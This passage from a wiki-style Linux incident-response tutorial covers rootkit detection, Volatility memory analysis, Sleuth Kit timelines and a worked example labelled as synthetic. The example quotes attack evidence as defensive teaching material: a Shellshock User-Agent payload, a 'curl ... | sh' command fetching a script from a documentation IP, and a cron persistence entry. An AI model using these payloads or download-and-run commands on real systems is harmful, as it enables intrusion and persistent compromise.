* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
